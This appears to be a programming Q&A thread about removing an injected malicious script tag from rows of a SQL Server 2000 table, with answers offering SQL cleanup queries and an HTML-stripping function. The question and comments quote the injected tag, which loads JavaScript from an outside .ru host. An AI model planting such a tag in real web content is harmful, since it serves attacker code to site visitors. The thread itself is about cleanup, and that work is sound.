views:

191

answers:

6

I've been handed a MS SQL 2000 database which has been injected with malware. The malware script is as follows:

<script src=http://www.someAddress.ru/aScript.js&gt;&lt;/script&gt;

Now I want to remove this piece of code from the table rows.

As a test, I inputed < h1> Test < /h1> on a row, and successfully ran the following query:

UPDATE myTable
SET description = REPLACE (description, '<h1>','')
WHERE id = 2;

This removed the h1 tag.

But trying the same with the script tag does not work:

UPDATE myTable
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js&gt;&lt;/script&gt;','')
WHERE id = 2

Why does this not work?

UPDATE 2
WOHO! I found the solution! I'm using the folloing code, which I found here: http://www.tek-tips.com/viewthread.cfm?qid=1563568&amp;page=3

-- Look for open and close HTML tags making sure a letter or / follows < ensuring its an opening
-- HTML tag or closing HTML tag and not an unencoded < symbol
CREATE FUNCTION [dbo].[udf_StripHTML]
    (@HTMLText VARCHAR(8000))
RETURNS VARCHAR(8000)
            AS
    BEGIN
    DECLARE @Start  INT
    DECLARE @End    INT
    DECLARE @Length INT
        SET @Start = CHARINDEX('<',@HTMLText)
        SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
        SET @Length = (@End - @Start) + 1
    WHILE @Start > 0 
                AND @End > 0 
            AND @Length > 0
        BEGIN
        SET @HTMLText = STUFF(@HTMLText,@Start,@Length,'')
        SET @Start = CHARINDEX('<',@HTMLText)
        SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
        SET @Length = (@End - @Start) + 1
        END
    RETURN Replace(LTRIM(RTRIM(@HTMLText)),'&nbsp;',' ')
    END
GO

To remove the HTML tags / scripts, I run the following query:

UPDATE mytable
SET description = [dbo].[udf_StripHTML](description)
//WHERE id = 35;

This works perfectly. Note that this script removes ALL html. So if I only want to remove < script> , I just replace '<' with '< script'.

+1  A: 

Have you tried looking for just aScript.js, the entry could be url_encoded, or something similar, so it gives something like

%3Cscript+src%3Dhttp%3A%2F%2Fwww.someAddress.ru%2FaScript.js%3E%3C%2Fscript%3E 

Reread Question

Do you mean that even when you have the script tag in a column with id=2 it doesn't work? Because if its not working are you sure that it exists in row with id=2? :p

Psytronic
Doing a SELECT in Server Manager displays the text in cleartext
Steven
"select description from document where id = 2" ---> <script src=http://www.someAddress.ru/aScript.js></script>
Steven
+1  A: 

Should work, unless there are other hidden characters in there you can't see, or there is some form of encoding going on. Can you SELECT a suspect row to look at more closely.

I would tend to completely DELETE FROM myTable WHERE description LIKE '%someAddress.ru%' where possible.

However, fixing the database isn't a real solution; the application must be fixed. It shouldn't ever be echoing text out of the database unencoded. If someone enters some data including the string <script> it should simply appear on the page as the literal string <script>, or in the source &lt;script>.

bobince
I know the app must be fixed. This is justa quick and dirty fix, to get the site up and running again. I can't delete the rows, because 95% of all table rows has this script. I just need to remove the script.
Steven
Oh, so you've had an SQL injection as well, in addition to that? Ouch. If it's something like the automated Asprox attack, you're going to get immediately owned again if you put the unfixed app back up.
bobince
+1  A: 

Wouldn't the src attribute value be surrounded by quotes? If so, you would have to escape them to get a proper match on the replace.

CNutt
+1  A: 

Why not try:

UPDATE myTable
set description = REPLACE (description, 'www.someAddress.ru','localhost')
WHERE id = 2

That would eliminate the immediate hijacking problem, and would likely avoid line break / funky characters problems.

Will Shaver
Yes, that is one option. But I found the solution of removing the entire script link. See solution above.
Steven
A: 

Hold on...

Is the database related to a financial system? Is the application under Sarbanes-Oxley? Has any fraud been committed?

Any of those things preclude you from making changes that would, "destroy evidence." Those little guys running around with "FBI" on their jackets don't take kindly to that. It would be a good thing to back it up now, and the logs (SQL and Web), and put that backup on a few DVDs. It would be better to remove the disk and put in another one (but that may not be an option).

Moving on to cleansing: bobince's direction is the correct one. Don't look for the whole SCRIPT tag, or try to find variations. Instead, look for something in the script tag that isn't part of the normal dataset. That's what you key off. If it SELECTs okay, then turn it into a DELETE and save that query, because you will need it while you turn to fixing the application (guaranteed your database will get corrupted again).

inked
Sarbanes-Oxley: if the company running this app is publicly traded, then chances are, it is covered under SOx. If the app is in any way audited then, the auditors will need to know what's happened. Ugh, then there's change control...
inked
I need suggestions to a solution. And if you read my comment to bobince, I can\t delete any rows.
Steven
Oh, well, have fun trying to figure this out on your own.
inked
A: 

You could try the following to strip the code out of your field (I'm assuming you have information in the same field that you want to keep):

update myTable
set description = case when PATINDEX('%<script%', notes) > 0 
     then SUBSTRING(notes, 1, PATINDEX('%<script%', notes)-1) + SUBSTRING(notes, PATINDEX('%script>%', notes) + 7, LEN(notes))
     else notes
     end
where id=2

You could first run a select to see if the value returned by the CASE statement is correct before running the update. It should not affect fields without a script tag in them, though.

patmortech
Ah, thanks. Didn't see this one until I found my own solution.
Steven